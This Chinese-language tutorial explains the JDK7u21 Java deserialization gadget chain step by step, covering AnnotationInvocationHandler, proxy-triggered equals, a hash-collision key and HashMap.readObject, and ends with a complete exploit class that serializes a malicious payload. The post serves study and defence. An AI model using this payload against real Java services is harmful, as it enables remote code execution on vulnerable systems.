这条利用链是JDK7u21,它适用于Java 7u21及以前的版本。
漏洞核心
漏洞核心在于sun.reflect.annotation.AnnotationInvocationHandler
的equalsImpl方法。
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
在这个方法中,存在一个对方法的反射调用var5.invoke(var1)
,var1来自参数,var5则是遍历this.getMemberMethods()
方法返回的方法数组。
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
AnnotationInvocationHandler.this.type.getDeclaredMethods()
会获取当前的type属性的所有方法。对于java自带的类,我们可以优先考虑到TemplatesImpl
链,也就是如果type中仅有触发TemplatesImpl
链的方法,那么就可以用equalsImpl
函数来反射走到TemplatesImpl
链。我们可以用到Templates
接口类,该类的两个方法newTransformer
和getOutputProperties
都可以作为TemplatesImpl
链的触发方法。
利用动态代理调用equalsImpl
equalsImpl
在AnnotationInvocationHandler
中作为一个私有方法,我们无法直接去调用,但是,我们可以在AnnotationInvocationHandler
唯一的公共方法,invoke
中调用equalsImpl
。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
}
......
}
关于如何调用到AnnotationInvocationHandler#invoke
方法其实并不陌生,这是动态代理的基础知识。我们可以构造一个动态代理Proxy
,通过调用这个代理的方法来触发invoke
,不过我们需要通过一次判断,也就是调用这个代理的方法必须是equal
方法,并且需要有一个Object
对象作为参数
可以看到的是,我们给equalsImpl
的参数是调用动态代理方法的第一个参数,那么我们满足的条件是
AnnotationInvocationHandler
的type
属性是Templates
接口类调用构造的
AnnotationInvocationHandler
动态代理的equal
方法equal
方法的第一个参数是恶意TemplatesImpl
类
可以编写一个简单的demo来完成上面的内容
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class demo {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//构造恶意TemplatesImpl类
TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class"));
byte[][] evilcode = {evil};
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"cmisl");
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,evilcode);
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//代理的AnnotationInvocationHandler类所需的第二个参数,避免调用其get方法报错
HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("cmisl","cmisl");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
//Templates.class作为第一个参数,只有两个方法,getOutputProperties和Templates,且都可以造成恶意代码执行
Object o = declaredConstructor.newInstance(Templates.class,hashMap);
//创建动态代理,AnnotationInvocationHandler作为代理类,方便走到其invoke方法
Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, (InvocationHandler) o);
ProxyMap.equals(templates);
}
}
要注意的是jdk7u21
类需要实现AbstractTranslet
接口
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
在TemplatesImpl#defineTransletClasses
方法中会判断字节码反编译出的恶意类的父类是否等于ABSTRACT_TRANSLET
,其值等于com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
。
调用代理实例ProxyMap的equals方法
根据上面分析,我们需要调用代理实例ProxyMap
的equals
方法,这个方法每个类都有,用于比较是否相等,来自于所有类的父类Object
。
我们常见的一个场景,在HashMap
的put
方法中,可以看到equals
方法的身影,因为HashMap
是一个类似链表数组的结构,当索引值相等的时候,会在那一个索引下的链表里遍历比较要put
的这个key
和链表中已经存在的key
是否相等,这里就会调用equals
方法去判断。
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
在上面的代码中,索引值是i
,基于hash
值和table.length
值计算,不过table.length
在开始会设置为16,只要我们hashMap
里面元素不超过16个就不会变。因此,我们需要做的就是让hash
值相等。我们来关注一下计算部分的实现代码。
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
除了k.hashCode()
,其他都是固定的。我们现在要做的就是让,ProxyMap.hashCode()
和templates.hashCode()
相等。而ProxyMap.hashCode()
会自动调用到AnnotationInvocationHandler#invoke
方法,然后再调用到hashCodeImpl
方法。
private int hashCodeImpl() {
int var1 = 0;
Map.Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Map.Entry)var2.next();
}
return var1;
}
会循环遍历当前memberValues
,简化一下式子就是计算每个key
和value
的(127 * key.hashCode()) ^value.hashCode()
,然后累加,如果memberValues
中只有一个key
和一个value
时,该哈希就等于(127 * key.hashCode())^value.hashCode()
,而如果key.hashCode()
,哈希又可以简化成value.hashCode()
,如果这个value
就是我们构造的恶意TemplateImpl
对象templates
,那么就可以使得ProxyMap.hashCode()
和templates.hashCode()
相等。
所以我们需要的是让memberValues
为一个只有一个键值对,且键的hashCode
等于0,value
为templates
,即可。这个键要等于f5a5a608
,这个memberValues
是我们构造函数传入的hashmap
,不过我们需要提前用其他值占据value的位置,在将ProxyMap
放进了我们的恶意HashMap
后,在替换回来,避免在ProxyMap
放入的过程中,提前调用equals
进入TemplatesImpl
链。
那么我们可以编写一个小demo
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class demo3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//构造恶意TemplatesImpl类
TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class"));
byte[][] evilcode = {evil};
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"cmisl");
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,evilcode);
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
//代理的AnnotationInvocationHandler类所需的第二个参数,避免调用其get方法报错
HashMap hashMap = new HashMap();
//随意用一个字符串占位
hashMap.put("f5a5a608","cmisl");
//Templates.class作为第一个参数,只有两个方法,getOutputProperties和Templates,且都可以造成恶意代码执行
Object o = declaredConstructor.newInstance(Templates.class,hashMap);
//创建动态代理,AnnotationInvocationHandler作为代理类,方便走到其invoke方法
Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, (InvocationHandler) o);
//将之前占位的value值替换成templates,避免真正exp过程中出现提前触发TemplatesImpl链
hashMap.put("f5a5a608",templates);
HashMap evilmap = new HashMap();
evilmap.put(templates,null);
evilmap.put(ProxyMap,null);
}
}
另一种方式调用equals方法
在上面介绍了HashMap.put
这个方法,但是这里,我并不打算调用这个方法。在HashMap
的另一个方法——HashMap#putForCreate
private void putForCreate(K key, V value) {
int hash = null == key ? 0 : hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k)))) {
e.value = value;
return;
}
}
createEntry(hash, key, value, i);
}
这个方法逻辑与我们HashMap.put
几乎差不多,上面put
能实现的demo用putForCreate
也可以,只是是私有方法,需要反射调用,将上面demo修改一下即可。
evilmap.put(templates,null);
evilmap.put(ProxyMap,null);
//将上面两行修改成下面代码
Method putForCreate = HashMap.class.getDeclaredMethod("putForCreate", Object.class, Object.class);
putForCreate.setAccessible(true);
putForCreate.invoke(evilmap,templates,null);
putForCreate.invoke(evilmap,ProxyMap,null);
为什么我想到用这个方法呢,因为这个方法在HashMap#readObjec
t函数中调用了。我们来看一下
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
// set hashSeed (can only happen after VM boot)
Holder.UNSAFE.putIntVolatile(this, Holder.HASHSEED_OFFSET,
sun.misc.Hashing.randomHashSeed(this));
// Read in number of buckets and allocate the bucket array;
s.readInt(); // ignored
// Read number of mappings
int mappings = s.readInt();
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
int initialCapacity = (int) Math.min(
// capacity chosen by number of mappings
// and desired load (if >= 0.25)
mappings * Math.min(1 / loadFactor, 4.0f),
// we have limits...
HashMap.MAXIMUM_CAPACITY);
int capacity = 1;
// find smallest power of two which holds all mappings
while (capacity < initialCapacity) {
capacity <<= 1;
}
table = new Entry[capacity];
threshold = (int) Math.min(capacity * loadFactor, MAXIMUM_CAPACITY + 1);
useAltHashing = sun.misc.VM.isBooted() &&
(capacity >= Holder.ALTERNATIVE_HASHING_THRESHOLD);
init(); // Give subclass a chance to do its thing.
// Read the keys and values, and put the mappings in the HashMap
for (int i=0; i<mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putForCreate(key, value);
}
}
在最后可以看到我们反序列化是会将key
和value
值分别反序列化出来,然后用putForCreate(key, value)
函数将反序列化出来的键值对给添加到HashMap
中。那么就可以直接从反序列化的入口走到equals
。接下来我们编写EXP。
EXP
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class EXP {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//构造恶意TemplatesImpl类
TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class"));
byte[][] evilcode = {evil};
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"cmisl");
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,evilcode);
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
//代理的AnnotationInvocationHandler类所需的第二个参数,避免调用其get方法报错
HashMap hashMap = new HashMap();
//随意用一个字符串占位
hashMap.put("f5a5a608","cmisl");
//Templates.class作为第一个参数,只有两个方法,getOutputProperties和Templates,且都可以造成恶意代码执行
Object o = declaredConstructor.newInstance(Templates.class,hashMap);
//创建动态代理,AnnotationInvocationHandler作为代理类,方便走到其invoke方法
Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, (InvocationHandler) o);
//将之前占位的value值替换成templates,避免真正exp过程中出现提前触发TemplatesImpl链
hashMap.put("f5a5a608",templates);
HashMap evilmap = new HashMap();
evilmap.put(ProxyMap,null);
evilmap.put(templates,null);
serialize(evilmap);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
ysoserial
上用的是HashSet
作为入口,更具体一点是LinkedHashSet
,原理其实差不多,从HashSet#readObject
到HashMap#put
。